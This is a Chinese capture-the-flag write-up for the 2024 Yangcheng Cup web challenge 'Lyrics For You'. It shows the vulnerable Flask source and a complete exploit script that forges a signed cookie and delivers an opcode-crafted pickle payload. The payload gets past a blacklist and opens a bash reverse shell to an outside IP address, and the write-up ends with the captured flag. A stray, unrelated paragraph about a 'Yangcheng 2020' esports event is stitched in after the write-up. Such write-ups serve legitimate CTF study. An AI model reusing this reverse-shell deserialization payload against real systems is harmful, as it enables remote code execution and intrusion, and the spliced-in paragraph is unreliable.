2024羊城杯 Web Wp

Lyrics For You

进去之后发现lyrics?lyrics={filename}这个接口可以读取任意文件

lyrics?lyrics=app.py把源码读下来

然后顺着app.py里import的库把整个源码都读下来。

发现一个board接口和login接口,大概就是:login界面将输入的username经过set_cookie函数配置了cookie,然后在board界面解码cookie,并且将cookie中user的值放进模板里面渲染。但是这道题问题在于pickle的反序列化漏洞,a = pickle.loads(data)。

本地启动一个flask进行测试

app.py

import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_bytes(16)
class UserData:
    def __init__(self, username):
        self.username = username

def Waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid

@app.route("/board", methods=['GET'])
def board():
    invalid = cookie_check("user", secret=secret_code)
    if invalid:
        return "Nope, invalid code get out!"
    data = get_cookie("user", secret=secret_code)
    print(data)

    if isinstance(data, bytes):
        a = pickle.loads(data)
        data = str(data, encoding="unicode_escape")
        return f"User data: {data}"  # 返回用户数据的字符串表示
    
    else:
        
        return f"Sorry,User data: {data}"  # 返回用户数据的字符串表示

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    app.run(debug=True, host="0.0.0.0", port=8111)

cookie.py

import base64
import hashlib
import hmac
import pickle
from flask import make_response, request

unicode = str
basestring = str  # Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg

def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid

def cookie_check(key, secret=None):
    a = request.cookies.get(key)
    data = tob(request.cookies.get(key))
    if data:
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)
                if waf(res):
                    return True
                else:
                    return False
    return True

def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def get_cookie(key, default=None, secret=None):
    value = request.cookies.get(key)
    if secret and value:
        dec = cookie_decode(value, secret)
        print(dec)
        print(dec[1])
        return dec[1] if dec and dec[0] == key else default
    return value or default

def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)

def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        resp = make_response("success")
        resp.set_cookie("user", value, max_age=3600)
        return resp
    elif not isinstance(value, basestring):
        raise TypeError('Secret key missing for non-string Cookie.')
    if len(value) > 4096:
        raise ValueError('Cookie value too long.')

def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

其中要执行到pickle.loads(),需要先正确按他的方式编码cookie,然后再过waf,最后再通过isinstance检查。

1、cookie编码直接用app.py中原有的代码,改一改就行,有些地方有坑 ,理解了代码逻辑应该问题不大。

2、waf禁用了R指令,pickle反序列化常用的__reduce__用不了。利用https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0Dy7GQDt%3DG%3DGCDlhjeauADc7lrxQwxxhID这篇文章中给出的思路,利用OPCODE(相当于pickle的另一种可以被解析的编码)来绕过

3、前面都写对了isinstance检查直接就能过

于是构造出下面的payload来实现RCE 反弹shell(反弹shell bash -i不行,前面必须加个bash -c新启动一个bash):

#-*- coding : utf-8-*-
# coding: utf-8
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request
import requests
import os

unicode = str
basestring = str  # Quoted from python bottle template, thanks :D


def cookie_encode(data, key):
    # 序列化对象并使用 base64 编码
    msg = base64.b64encode(pickle.dumps(data, protocol=-1)).decode('gbk')
    
    # 生成 HMAC 签名,并使用 base64 编码
    sig = base64.b64encode(hmac.new(tob(key), tob(msg), digestmod=hashlib.md5).digest()).decode('utf-8')
    
    # 组合签名和消息字符串
    return '!' + sig + '?' + msg



def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid



def tob(s):
    """Convert a string to bytes using UTF-8 encoding."""
    return s.encode('utf-8')



def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        return value



def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

class UserData:
    def __init__(self, username):
        self.username = username

class U1:
    def __setstate__(self, state):
        return os.system("echo 111")
    

    
malicious_payload=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/20.243.255.185/2333 0>&1"'
o.'''
secret_code = "EnjoyThePlayTime123456"

# malicious_payload = pickle.dumps(b'\x80\x03c__main__\nUserData\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc\nb.')
# malicious_payload = pickle.dumps(UserData())
print(isinstance(malicious_payload, bytes))

# loaded_obj = pickle.loads(malicious_payload)

username = malicious_payload

user = UserData(username)

res = username

malicious_cookie = set_cookie("user", res, secret=secret_code)

cookies = {'user': malicious_cookie}

response = requests.get("http://139.155.126.78:33886/board", cookies=cookies)


print(response.text)

反弹shell之后根目录有个readflag,执行就得到flag

DASCTF{86812765238271334845018089677676}

羊城2020是一场年度的电子竞技赛事,为广大电竞爱好者提供了一个展示技术和激发激情的舞台。今年的羊城聚集了来自全国各地的顶尖电竞选手,他们在各个游戏项目中展现了高水平的操作和战术。 在比赛的文化氛围方面,羊城2020鼓励团队协作和竞争精神,这对于参赛选手来说是一个很好的机会展现自己的技术能力和团队合作能力。此外,组委会还积极倡导公平竞赛,严禁使用任何形式的作弊或不正当手段来获取胜利,从而保证了比赛的公正性。 羊城2020不仅是一场竞技比赛,还提供了丰厚的奖金和荣誉,吸引了众多顶尖选手参与其中。参赛选手们通过紧张刺激的比赛,展现了他们的技术实力和战术策略。同时,比赛也为电竞爱好者们提供了一个观赏比赛和学习经验的机会,让他们更好地了解电竞运动,提高自己的技术水平。 此外,羊城2020还注重了普及电竞文化的意义。比赛在各个媒体平台上进行直播,使更多的观众能够通过网络或电视观看比赛,增加了电竞的曝光度。通过各种推广活动,羊城2020吸引了更多非电竞爱好者的关注,提高了电竞在社会中的认可度和影响力。 总的来说,羊城2020是一场令人期待的电竞盛事,它不仅展示了顶尖选手们的实力和技巧,也推广了电竞文化并吸引了更多人的关注。这样的比赛将继续推动电竞行业的发展和壮大,为电竞爱好者们带来更多的精彩赛事和娱乐体验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值